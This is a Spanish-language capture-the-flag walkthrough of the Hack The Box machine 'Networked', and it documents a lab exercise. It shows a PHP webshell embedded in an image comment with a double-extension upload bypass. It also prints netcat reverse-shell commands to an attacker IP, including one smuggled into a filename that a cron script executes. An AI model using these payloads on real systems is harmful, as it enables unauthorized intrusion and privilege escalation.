# Networked

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fmy8izsgt4GNP8CN8psXR%2FNetworked.png?alt=media&#x26;token=a321b502-c3b0-4a00-a82a-0b3c802bcc73" alt=""><figcaption></figcaption></figure>

Networked es un CTF de dificultad fácil que podemos encontrar en el sitio Web de Hack The Box. La resolución de esta máquina implicó abusar de una configuración incorrecta de Apache que me permitió cargar una imagen que contenía un webshell con una extensión doble. Con eso, obtuve un shell como usuario Apache sin privilegios y luego hice dos privescs. La primera inyección de comando abusada en un script que se estaba ejecutando para limpiar el directorio de cargas. Luego usé el acceso a un script bash para obtener la ejecución del comando como Root.&#x20;

### Enumeración

#### NMAP&#x20;

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv --min-rate 2000 10.10.10.146
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FXZfSYNZkWpYBq4JSJzGV%2Fimage.png?alt=media&#x26;token=dd29acab-74e6-4751-89fe-9628c3ef7ef6" alt=""><figcaption></figcaption></figure>

Están abiertos los puertos 22, 80 TCP en la máquina objetivo. Vamos con el escaneo profundo de los servicios abiertos.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FCDWgjVTnf7eIwyHLmG9v%2Fimage.png?alt=media&#x26;token=b4bece3c-efb8-4b82-8e9b-809272486535" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> OpenSSH 7.4
* Puerto 80 -> Apache 2.4.6 (CentOS)

#### Enumeración web

Tenemos un puerto 80 en la máquina objetivo que corresponde con un servidor web. Vamos a ver su contenido.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F9W6oSJXxGkXgRkIYB1Hb%2Fimage.png?alt=media&#x26;token=1fa2d64e-f5dd-4ca2-bdbe-c0597cd8349d" alt=""><figcaption></figcaption></figure>

Vamos a realizar un escaneo de los directorios disponibles en el servidor web. Para ello, vamos a utilizar la herramienta DirSearch.

```
dirsearch -u "http://10.10.10.146:80/" -i 200,301
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F9ElyclC1b9NFKHI9xmYu%2Fimage.png?alt=media&#x26;token=d4826b14-ca64-4ac8-8e5b-5654afd9069a" alt=""><figcaption></figcaption></figure>

Tenemos una serie de directorios y archivos que pueden ser interesantes. Vamos a comenzar abriendo el directorio /backup, a ver que contiene.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQgLkFNwG3BLjyPYcx9Ac%2Fimage.png?alt=media&#x26;token=cbfd5d58-495e-4d70-8942-fd55d6a6dc47" alt=""><figcaption></figcaption></figure>

Tenemos un archivo backup.tar, vamos a descargarlo a ver si contiene algo interesante.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZOsrRX6PG3i58SaoIwUd%2Fimage.png?alt=media&#x26;token=05eaf9f7-4415-48ec-a52b-c0e776b47e8d" alt=""><figcaption></figcaption></figure>

Tenemos una copia de seguridad del código fuente de la página web. Vamos a analizar el código contenido en cada archivo.

Vemos el archivo upload.php

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FwhOq3SSxzZfiPbOElI4u%2Fimage.png?alt=media&#x26;token=398a20bf-6f70-43e7-b0b4-c27ab6cc6e5a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FAMdG8ssIOTP5KUYD5I0X%2Fimage.png?alt=media&#x26;token=5b58cb7a-1700-4e72-970f-ec710f925f71" alt=""><figcaption></figcaption></figure>

Después de una revisión inicial, parece que cargamos un archivo, renombrándolo por la dirección IP del usuario y guardándolo en /var/www/html/uploads/. Ahora, hay dos formas en que podemos resolver esto, la primera es cargar un shell PHP común y configurar un archivo con extensión .php.gif o codificar un comentario con exiftool.

### Shell como Apache

#### Creando la shell codificada como comentario de una imagen

Descargamos una de las imagenes de CentOS que encontramos en el directorio /photos.php.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FebFQ6XzcFBj5L6lSfNa0%2Fimage.png?alt=media&#x26;token=e96cddd9-fc9f-4b23-b472-4bf34cb99efc" alt=""><figcaption></figcaption></figure>

Ahora sobre la imagen descargada ejecutamos exiftool.

```
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' 127_0_0_4.png
mv 127_0_0_4.png 127_0_0_4.php.png
```

Con esto, una vez que volvamos a cargar la imagen editada, tendremos una shell integrada en la foto.&#x20;

Vamos a probar.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Flut9gemPa7k7mAR7MkV0%2Fimage.png?alt=media&#x26;token=1242c84b-d5fe-4373-b700-4e0563e7f152" alt=""><figcaption><p>Subir la imagen modificada.</p></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FpYdm80ElB4QLtgChKlNI%2Fimage.png?alt=media&#x26;token=7353da0d-23ab-4d1d-b9fc-55a830cd3848" alt=""><figcaption></figcaption></figure>

Le pasamos los parametros `?cmd=whoami;pwd` a nuestra imagen y nos devuelve la ejecucion de comandos, un tanto desordenada con los datos de la imagen.

Entonces vamos a utilizar el siguiente comando para entablar una shell reversa con la máquina víctima. Al mismo tiempo ejecutamos nc con el puerto seleccionado en nuestra máquina de ataque.&#x20;

```
?cmd= nc -e /bin/bash 10.10.16.11 4444
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FFmnujgqP1UOGMRkevOuq%2Fimage.png?alt=media&#x26;token=fd536ad0-8497-475e-ad7c-9ecde6568e56" alt=""><figcaption><p>Shell como usuario Apache</p></figcaption></figure>

#### Creando la shell a partir de un archivo .php.gif

Descargaremos esta [reverse shell](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php). Añadiremos nuestra IP y puerto de ataque, y además deberemos añadir el código GIF89A; para saltar los bloqueos.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F5qpIaWv458lKgoWRTIpA%2Fimage.png?alt=media&#x26;token=0a1b144c-66a1-4c4e-9fa3-40ab145b6d3e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fcyi8QxIhPEf5HSEb9BHA%2Fimage.png?alt=media&#x26;token=df7671d7-7d9a-482e-b0e5-699efbcf1294" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Ffm9vA7dy8aOJW41O4zfH%2Fimage.png?alt=media&#x26;token=8611fe89-99fc-4c85-a733-7c4ff38fd885" alt=""><figcaption><p>Generando el archivo a cargar en la máquina víctima</p></figcaption></figure>

Volvemos a lanzar el nc en nuestra máquina de ataque y vemos si conseguimos shell. Tras actualizar /photos.php, ya tendriamos la shell reversa.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FvSnvA9kOeIcf3hHwJVj5%2Fimage.png?alt=media&#x26;token=0f85edc9-b2f0-49f4-b359-568279daa1d0" alt=""><figcaption></figcaption></figure>

Tras buscar la flag user.txt vemos que no tenemos privilegios suficientes para acceder a su contenido. Debemos seguir elevando privilegios hacia otros usuarios.&#x20;

### Acceso como usuario Guly

Primero creamos una terminal más atractiva de trabajar con el siguiente comando:&#x20;

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

Un vistazo al directorio /home, nos devuelve el nombre de usuario "guly" y una serie de archivos que pueden ser interesantes.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FGBdK0gV0ZNrnZN3rVzHy%2Fimage.png?alt=media&#x26;token=bb2c105c-dd8a-4928-894f-4c4b91abedc7" alt=""><figcaption></figcaption></figure>

A la flag no podemos acceder aún.&#x20;

El crontab.guly se ejecuta cada 3 minutos, y el check\_attack.php busca archivos que **no se** llamen como ip.extension. Vamos a intentar aprovechar esto.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FImhfTOGwQJUr6rbgzMME%2Fimage.png?alt=media&#x26;token=2023fa34-86e6-482d-a797-d3faf793543a" alt=""><figcaption></figcaption></figure>

Entonces, necesitamos generar una reverse shell. Nos dirigimos a /var/www/html/uploads/ y ejecutamos: *touch "; nc 10.10.16.11 4444 -c bash"* para abrir un shell en el tercer minuto, luego esperamos la conexión.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F3MSc3J0RYhdRLj0RRcJX%2Fimage.png?alt=media&#x26;token=31ed9c36-bb2e-4d2e-b2e9-d3bfd754474d" alt=""><figcaption></figcaption></figure>

Ya estamos conectados como usuario "guly"

Vamos a buscar ahora la flag user.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FaybbguFB83TS3w8YVGG2%2Fimage.png?alt=media&#x26;token=3af97750-ec58-454d-abeb-151a5852b259" alt=""><figcaption><p>Flag user.txt</p></figcaption></figure>

### Acceso como usuario Root

Volvemos a ejecutar el siguiente comando para hacer la terminal más vistosa.

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

Vamos a comenzar verificar sudo -l.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVGHYE6GH06lMIEQNMpLG%2Fimage.png?alt=media&#x26;token=e5edd786-3963-4f2f-8617-a7ca6afa4500" alt=""><figcaption></figcaption></figure>

Tenemos un ejecutable /usr/local/sbin/changename.sh. Este script simplemente crea un script de red para una interfaz llamada `guly`y luego activa esa interfaz. Le pide al usuario estas opciones: `NAME`, `PROXY_METHOD`, `BROWSER_ONLY`, `BOOTPROTO`.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fw2RimXA6m2xMjbC3UNSX%2Fimage.png?alt=media&#x26;token=3cd74148-9406-4fcb-b71b-7ef31092e9ca" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FzDpPvKqVxqJy7HR33Do5%2Fimage.png?alt=media&#x26;token=0a2f3690-ed53-42a1-aa54-faf6318983e1" alt=""><figcaption></figcaption></figure>

Ya seriamos usuario Root dentro de la máquina objetivo. Próximo paso, buscar la flag root.txt.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FMI40QDtpSywPqNfPD3qI%2Fimage.png?alt=media&#x26;token=fd15dee6-d584-41ad-b201-71ba10df9de9" alt=""><figcaption></figcaption></figure>

Y ya estaría acabado el CTF Networked de Hack The Box.&#x20;

{% embed url="<https://www.youtube.com/watch?v=MgdMOiMeLcg>" %}
